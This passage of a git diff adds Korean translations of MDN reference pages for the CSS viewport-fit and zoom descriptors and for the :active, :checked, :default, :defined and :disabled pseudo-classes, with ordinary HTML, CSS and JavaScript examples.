+ <dd>뷰포트 크기가 기기 디스플레이를 모두 채우도록 조정됩니다. 이때 중요한 내용이 디스플레이 바깥 영역으로 밀려나지 않도록 <a href="/en-US/docs/Web/CSS/env">safe area inset 변수</a>를 함께 사용할 것을 권장합니다.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">auto | contain | cover
+</pre>
+
+<div class="hidden">이 설명자는 아직 <a href="https://github.com/mdn/data/blob/master/css/at-rules.json">https://github.com/mdn/data/blob/master/css/at-rules.json</a>에 등재되지 않았습니다.</div>
+
+<h2 id="접근성_문제">접근성 문제</h2>
+
+<p><code>viewport-fit</code> 설명자를 사용할 때에는 모든 기기의 디스플레이가 직사각형인 것은 아니므로 <a href="/en-US/docs/Web/CSS/env">safe area inset 변수</a>를 함께 사용해야 함을 기억하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS Round Display", "#viewport-fit-descriptor", '"viewport-fit" descriptor')}}</td>
+ <td>{{Spec2("CSS Round Display")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.at-rules.viewport.viewport-fit")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{CSSxRef("env", "env()")}}</li>
+</ul>
diff --git a/files/ko/web/css/@viewport/zoom/index.html b/files/ko/web/css/@viewport/zoom/index.html
new file mode 100644
index 0000000000..137b2eb6a9
--- /dev/null
+++ b/files/ko/web/css/@viewport/zoom/index.html
@@ -0,0 +1,70 @@
+---
+title: zoom
+slug: Web/CSS/@viewport/zoom
+tags:
+ - CSS
+ - CSS Descriptor
+ - Graphics
+ - Layout
+ - NeedsExample
+ - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{ CSSRef }}</div>
+
+<p><code>zoom</code> <a href="/ko/docs/Web/CSS">CSS</a> 설명자(descriptor)는 {{cssxref("@viewport")}}에 의해 정의된 문서의 초기 줌 배율(factor)을 설정합니다.</p>
+
+<p><code>1.0</code> 또는 <code>100%</code>인 <em>줌 배율</em>은 줌이 없음에 해당합니다. 큰 값은 확대. 작은 값은 축소.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+zoom: auto;
+
+/* &lt;number&gt; 값 */
+zoom: 0.8;
+zoom: 2.0;
+
+/* &lt;percentage&gt; 값 */
+zoom: 150%;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>사용자 에이전트가 문서의 초기 줌 배율을 설정합니다. 사용자 에이전트는 문서가 그 배율을 찾기 위해 렌더링되는 캔버스 영역의 크기를 사용할 수 있습니다.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>줌 배율로 사용되는 음이 아닌 수. 배율 1.0은 줌이 수행되지 않음을 뜻합니다. 1.0보다 큰 값은 확대 작은 값은 축소 효과가 됩니다.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>줌 배율로 사용되는 음이 아닌 퍼센트 값. 배율 100%는 줌이 수행되지 않음을 뜻합니다. 100%보다 큰 값은 확대 작은 값은 축소 효과가 됩니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Device', '#the-lsquozoomrsquo-descriptor', '"zoom" descriptor')}}</td>
+ <td>{{Spec2('CSS3 Device')}}</td>
+ <td>초기 스펙</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.at-rules.viewport.zoom")}}</p>
diff --git a/files/ko/web/css/_colon_active/index.html b/files/ko/web/css/_colon_active/index.html
new file mode 100644
index 0000000000..eb3ccff192
--- /dev/null
+++ b/files/ko/web/css/_colon_active/index.html
@@ -0,0 +1,127 @@
+---
+title: ':active'
+slug: 'Web/CSS/:active'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Web
+translation_of: 'Web/CSS/:active'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>:active</code></strong> <a href="/ko/docs/Web/API/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 사용자가 활성화한 요소(버튼 등)를 나타냅니다.</span> 마우스를 사용하는 경우, "활성"이란 보통 마우스 버튼을 누르는 순간부터 떼는 시점까지를 의미합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* 활성화된 모든 &lt;a&gt; 태그를 선택 */
+a:active {
+ color: red;
+}</pre>
+
+<p><code>:active</code> 의사 클래스는 대개 {{HTMLElement("a")}}, {{HTMLElement("button")}}과 함께 사용합니다. 다른 흔한 대상으로는 활성화된 요소를 포함한 다른 요소와, 연결된 {{HTMLElement("label")}}로 선택한 입력 폼 요소 등이 있습니다.</p>
+
+<p><code>:active</code> 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":hover")}}, {{cssxref(":visited")}})가 덮어씁니다. 링크를 적절히 디자인하려면 <em>LVHA-순서(</em><code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>)를 따라, <code>:active</code> 규칙을 다른 모든 링크 규칙들보다 뒤에 배치하세요.</p>
+
+<div class="note"><strong>참고:</strong> CSS3 명세에 따르면, 다수의 버튼을 가진 마우스라도 <code>:active</code> 의사 클래스는 주 버튼에만 적용돼야 합니다. 오른손잡이 마우스 기준, 주 버튼은 보통 맨 왼쪽 버튼입니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="활성화_링크">활성화 링크</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;링크를 포함하는 문단입니다.
+ &lt;a href="#"&gt;이 링크는 클릭하는 동안 색이 빨갛게 됩니다.&lt;/a&gt;
+ 이 문단은 클릭하는 동안 배경색이 회색이 됩니다.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">a:link { color: blue; } /* 방문하지 않은 링크 */
+a:visited { color: purple; } /* 방문한 링크 */
+a:hover { background: yellow; } /* 마우스를 올린 링크 */
+a:active { color: red; } /* 활성화한 링크 */
+
+p:active { background: #eee; } /* 활성화한 문단 */</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('활성화_링크')}}</p>
+
+<h3 id="활성화_폼_요소">활성화 폼 요소</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+ &lt;label for="my-button"&gt;내 버튼: &lt;/label&gt;
+ &lt;button id="my-button" type="button"&gt;제 라벨이나 저를 클릭해보세요!&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">form :active {
+ color: red;
+}
+
+form button {
+ background: white;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('활성화_폼_요소')}}</p>
+
+<h2 id="명세"><span>명세</span></h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.active")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>링크 관련 의사 클래스: {{cssxref(":link")}}, {{cssxref(":visited")}}, {{cssxref(":hover")}}.</li>
+</ul>
diff --git a/files/ko/web/css/_colon_checked/index.html b/files/ko/web/css/_colon_checked/index.html
new file mode 100644
index 0000000000..337f93d1cd
--- /dev/null
+++ b/files/ko/web/css/_colon_checked/index.html
@@ -0,0 +1,193 @@
+---
+title: ':checked'
+slug: 'Web/CSS/:checked'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Web
+translation_of: 'Web/CSS/:checked'
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>:checked</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a> 선택자는 선택했거나 <code>on</code> 상태인 <strong>라디오</strong>(<code><a href="/ko/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a></code>), <strong>체크박스</strong>(<code><a href="/ko/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code>), <strong>옵션</strong>({{HTMLElement("option")}} 요소를 나타냅니다.</p>
+
+<pre class="brush: css no-line-numbers">/* Matches any checked/selected radio, checkbox, or option */
+:checked {
+ margin-left: 25px;
+ border: 1px solid blue;
+}
+</pre>
+
+<p>사용자가 요소를 체크했거나 선택한 경우 활성화되고, 체크나 선택을 해제하는 경우 비활성화됩니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 많은 경우 브라우저는 <code>&lt;option&gt;</code> 요소를 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>로 취급하므로, <code>:checked</code> 의사 클래스를 사용한 스타일을 적용할 수 있는 범위도 브라우저마다 다릅니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+ &lt;input type="radio" name="my-input" id="yes"&gt;
+ &lt;label for="yes"&gt;Yes&lt;/label&gt;
+
+ &lt;input type="radio" name="my-input" id="no"&gt;
+ &lt;label for="no"&gt;No&lt;/label&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+ &lt;input type="checkbox" name="my-checkbox" id="opt-in"&gt;
+ &lt;label for="opt-in"&gt;Check me!&lt;/label&gt;
+&lt;/div&gt;
+
+&lt;select name="my-select" id="fruit"&gt;
+ &lt;option value="opt1"&gt;Apples&lt;/option&gt;
+ &lt;option value="opt2"&gt;Grapes&lt;/option&gt;
+ &lt;option value="opt3"&gt;Pears&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div,
+select {
+ margin: 8px;
+}
+
+/* Labels for checked inputs */
+input:checked + label {
+ color: red;
+}
+
+/* Radio element, when checked */
+input[type="radio"]:checked {
+ box-shadow: 0 0 0 3px orange;
+}
+
+/* Checkbox element, when checked */
+input[type="checkbox"]:checked {
+ box-shadow: 0 0 0 3px hotpink;
+}
+
+/* Option elements, when selected */
+option:checked {
+ box-shadow: 0 0 0 3px lime;
+ color: red;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("기본_예제")}}</p>
+
+<h3 id="숨겨진_체크박스를_사용해_요소_켜고_끄기">숨겨진 체크박스를 사용해 요소 켜고 끄기</h3>
+
+<p>다음 예제 코드는 <code>:checked</code> 의사 클래스와 체크박스를 사용해, <a href="/ko/docs/Web/JavaScript">JavaScript</a> 없이도 사용자가 켜거나 끌 수 있는 콘텐츠를 구현합니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;input type="checkbox" id="expand-toggle" /&gt;
+
+&lt;table&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;&lt;th&gt;Column #1&lt;/th&gt;&lt;th&gt;Column #2&lt;/th&gt;&lt;th&gt;Column #3&lt;/th&gt;&lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr class="expandable"&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;/tr&gt;
+ &lt;tr&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;/tr&gt;
+ &lt;tr&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;/tr&gt;
+ &lt;tr class="expandable"&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;/tr&gt;
+ &lt;tr class="expandable"&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;label for="expand-toggle" id="expand-btn"&gt;Toggle hidden rows&lt;/label&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* Hide the toggle checkbox */
+#expand-toggle {
+ display: none;
+}
+
+/* Hide expandable content by default */
+.expandable {
+ visibility: collapse;
+ background: #ddd;
+}
+
+/* Style the button */
+#expand-btn {
+ display: inline-block;
+ margin-top: 12px;
+ padding: 5px 11px;
+ background-color: #ff7;
+ border: 1px solid;
+ border-radius: 3px;
+}
+
+/* Show hidden content when the checkbox is checked */
+#expand-toggle:checked ~ * .expandable {
+ visibility: visible;
+}
+
+/* Style the button when the checkbox is checked */
+#expand-toggle:checked ~ #expand-btn {
+ background-color: #ccc;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("숨겨진_체크박스를_사용해_요소_켜고_끄기", "auto", 220)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('HTML WHATWG', '#selector-checked', ':checked') }}</td>
+ <td>{{ Spec2('HTML WHATWG') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('HTML5 W3C', '#selector-checked', ':checked') }}</td>
+ <td>{{ Spec2('HTML5 W3C') }}</td>
+ <td>Defines the semantic regarding HTML.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS4 Selectors', '#checked', ':checked') }}</td>
+ <td>{{ Spec2('CSS4 Selectors') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Selectors', '#checked', ':checked') }}</td>
+ <td>{{ Spec2('CSS3 Selectors') }}</td>
+ <td>Defines the pseudo-class, but not the associated semantic</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.checked")}}</p>
+</div>
diff --git a/files/ko/web/css/_colon_default/index.html b/files/ko/web/css/_colon_default/index.html
new file mode 100644
index 0000000000..06e0558495
--- /dev/null
+++ b/files/ko/web/css/_colon_default/index.html
@@ -0,0 +1,101 @@
+---
+title: ':default'
+slug: 'Web/CSS/:default'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Selector
+ - Web
+translation_of: 'Web/CSS/:default'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:default</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 연관 요소 내에서의 기본값인 요소를 선택합니다.</p>
+
+<p>이 선택자는<a href="https://html.spec.whatwg.org/multipage/semantics-other.html#selector-default"> HTML Standard §4.16.3 Pseudo-classes</a>에 정의되어 있듯 {{htmlelement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a></code>, {{htmlelement("option")}} 요소를 아래와 같은 경우에 선택합니다.</p>
+
+<ul>
+ <li>옵션 요소의 기본값은 <code>selected</code> 특성을 가진 제일 첫 요소, 즉 DOM 순서 기준으로 제일 앞의 활성화 옵션입니다. <code>multiple</code> 특성의 {{htmlelement("select")}}는 둘 이상의 <code>selected</code> 옵션을 가질 수도 있으므로, 모든 옵션이 <code>:default</code>로 선택됩니다.</li>
+ <li><code>&lt;input type="checkbox"&gt;</code>와 <code>&lt;input type="radio"&gt;</code>는 <code>checked</code> 특성을 가지고 있으면 선택됩니다.</li>
+ <li>{{htmlelement("button")}}은 {{htmlelement("form")}} 요소의 <a href="https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#implicit-submission">기본 제출 버튼</a>, 즉 DOM 순서 기준으로 양식에 속하는 제일 첫 <code>&lt;button&gt;</code>이면 선택됩니다. (<code>image</code>와 <code>submit</code>처럼, 양식을 제출하는 다른 {{htmlelement("input")}} 유형에도 적용됩니다.)</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;fieldset&gt;
+ &lt;legend&gt;Favorite season&lt;/legend&gt;
+
+ &lt;input type="radio" name="season" id="spring"&gt;
+ &lt;label for="spring"&gt;Spring&lt;/label&gt;
+
+ &lt;input type="radio" name="season" id="summer" checked&gt;
+ &lt;label for="summer"&gt;Summer&lt;/label&gt;
+
+ &lt;input type="radio" name="season" id="fall"&gt;
+ &lt;label for="fall"&gt;Fall&lt;/label&gt;
+
+ &lt;input type="radio" name="season" id="winter"&gt;
+ &lt;label for="winter"&gt;Winter&lt;/label&gt;
+&lt;/fieldset&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">input:default {
+ box-shadow: 0 0 2px 1px coral;
+}
+
+input:default + label {
+ color: coral;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#selector-default', ':default')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', '#selector-default', ':default')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Defines associated HTML semantics and constraint validation.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#default-pseudo', ':default')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>No change.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.default")}}</p>
+</div>
diff --git a/files/ko/web/css/_colon_defined/index.html b/files/ko/web/css/_colon_defined/index.html
new file mode 100644
index 0000000000..89487adbb9
--- /dev/null
+++ b/files/ko/web/css/_colon_defined/index.html
@@ -0,0 +1,118 @@
+---
+title: ':defined'
+slug: 'Web/CSS/:defined'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Selector
+ - Web
+translation_of: 'Web/CSS/:defined'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:defined</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 정의된 요소를 선택합니다. 정의된 요소란 브라우저에 내장된 표준 요소와, 성공적으로 정의({{domxref("CustomElementRegistry.define()")}} 메서드 등)한 사용자 지정 요소를 의미합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selects any defined element */
+:defined {
+  font-style: italic;
+}
+
+/* Selects any instance of a specific custom element */
+simple-custom:defined {
+  display: block;
+}
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="정의되기_전까지_요소_숨기기">정의되기 전까지 요소 숨기기</h3>
+
+<p>다음 코드는 저희의 <a href="https://github.com/mdn/web-components-examples/tree/master/defined-pseudo-class">defined-pseudo-class</a> 데모에서 발췌한 것입니다. (<a href="https://mdn.github.io/web-components-examples/defined-pseudo-class/">동작 모습 보기</a>)</p>
+
+<p>이 데모에서는 아주 간단한 사용자 지정 요소를 정의합니다.</p>
+
+<pre class="brush: js notranslate">customElements.define('simple-custom',
+ class extends HTMLElement {
+ constructor() {
+ super();
+
+ let divElem = document.createElement('div');
+ divElem.textContent = this.getAttribute('text');
+
+ let shadowRoot = this.attachShadow({mode: 'open'})
+ .appendChild(divElem);
+ }
+})</pre>
+
+<p>그 후, 위의 요소를 표준 <code>&lt;p&gt;</code>와 함께 문서에 넣습니다.</p>
+
+<pre class="brush: html notranslate">&lt;simple-custom text="Custom element example text"&gt;&lt;/simple-custom&gt;
+
+&lt;p&gt;Standard paragraph example text&lt;/p&gt;</pre>
+
+<p>CSS에는 다음의 스타일을 작성합니다.</p>
+
+<pre class="brush: css notranslate">// Give the two elements distinctive backgrounds
+p {
+ background: yellow;
+}
+
+simple-custom {
+ background: cyan;
+}
+
+// Both the custom and the built-in element are given italic text
+:defined {
+ font-style: italic;
+}</pre>
+
+<p>그리고 아래의 두 규칙을 통해, 정의되지 않은 사용자 지정 요소는 숨기고, 정의가 성공적으로 된 경우에는 블록 레벨 요소로 표시합니다.</p>
+
+<pre class="brush: css notranslate">simple-custom:not(:defined) {
+ display: none;
+}
+
+simple-custom:defined {
+ display: block;
+}</pre>
+
+<p>위의 데모는 페이지에 불러올 때 꽤 시간이 걸릴 수 있는 복잡한 사용자 지정 요소 스타일링에 유용하게 쓸 수 있습니다. 로딩이 아직 진행 중일 때, 스타일을 입히지 않은는 못생긴 요소가 페이지에 노출되는 것을 막을 수 있으니까요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('HTML WHATWG', 'semantics-other.html#selector-defined', ':defined') }}</td>
+ <td>{{ Spec2('HTML WHATWG') }}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.defined")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Web_Components">웹 컴포넌트</a></li>
+</ul>
diff --git a/files/ko/web/css/_colon_disabled/index.html b/files/ko/web/css/_colon_disabled/index.html
new file mode 100644
index 0000000000..5a65d93de2
--- /dev/null
+++ b/files/ko/web/css/_colon_disabled/index.html
@@ -0,0 +1,129 @@
+---
+title: ':disabled'
+slug: 'Web/CSS/:disabled'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Web
+translation_of: 'Web/CSS/:disabled'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:disabled</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 모든 비활성 요소를 나타냅니다. 비활성 요소란 활성(선택, 클릭, 입력 등등)하거나 포커스를 받을 수 없는 요소를 말합니다. 반대 상태인 활성 요소도 존재합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* 모든 비활성 &lt;input&gt; 선택 */
+input:disabled {
+ background: #ccc;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 사용자가 청구 주소 입력 칸을 켜거나 끌 수 있는 기능을 <a href="/ko/docs/Web/JavaScript">JavaScript</a> {{event("change")}} 이벤트를 통해 구현한 기본적인 배송 양식입니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;form action="#"&gt;
+ &lt;fieldset id="shipping"&gt;
+ &lt;legend&gt;배송지&lt;/legend&gt;
+ &lt;input type="text" placeholder="이름"&gt;
+ &lt;input type="text" placeholder="주소"&gt;
+ &lt;input type="text" placeholder="우편번호"&gt;
+ &lt;/fieldset&gt;
+ &lt;br&gt;
+ &lt;fieldset id="billing"&gt;
+ &lt;legend&gt;청구지&lt;/legend&gt;
+ &lt;label for="billing-checkbox"&gt;배송지와 동일:&lt;/label&gt;
+ &lt;input type="checkbox" id="billing-checkbox" checked&gt;
+ &lt;br&gt;
+ &lt;input type="text" placeholder="이름" disabled&gt;
+ &lt;input type="text" placeholder="주소" disabled&gt;
+ &lt;input type="text" placeholder="우편번호" disabled&gt;
+ &lt;/fieldset&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">input[type="text"]:disabled {
+ background: #ccc;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">// 페이지 로딩이 끝날 때까지 기다림
+document.addEventListener('DOMContentLoaded', function () {
+ // `change` 이벤츠 수신기를 체크박스에 부착
+ document.getElementById('billing-checkbox').onchange = toggleBilling;
+}, false);
+
+function toggleBilling() {
+ // 청구지 텍스트 입력 칸을 모두 선택
+ var billingItems = document.querySelectorAll('#billing input[type="text"]');
+
+ // 하나씩 토글
+ for (var i = 0; i &lt; billingItems.length; i++) {
+ billingItems[i].disabled = !billingItems[i].disabled;
+ }
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 300, 250)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#selector-disabled', ':disabled')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', '#selector-disabled', ':disabled')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Defines the semantics of HTML and forms.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#enableddisabled', ':disabled')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#enableddisabled', ':disabled')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>Defines the pseudo-class, but not the associated semantics.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.disabled")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>
+ <p>{{Cssxref(":enabled")}}</p>
+ </li>
+</ul>
diff --git a/files/ko/web/css/_colon_enabled/index.html b/files/ko/web/css/_colon_enabled/index.html
new file mode 100644
index 0000000000..edd9c70c2f
--- /dev/null
+++ b/files/ko/web/css/_colon_enabled/index.html
@@ -0,0 +1,100 @@
+---
+title: ':enabled'
+slug: 'Web/CSS/:enabled'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Web
+translation_of: 'Web/CSS/:enabled'
+---
+<div>{{CSSRef}}</div>
+
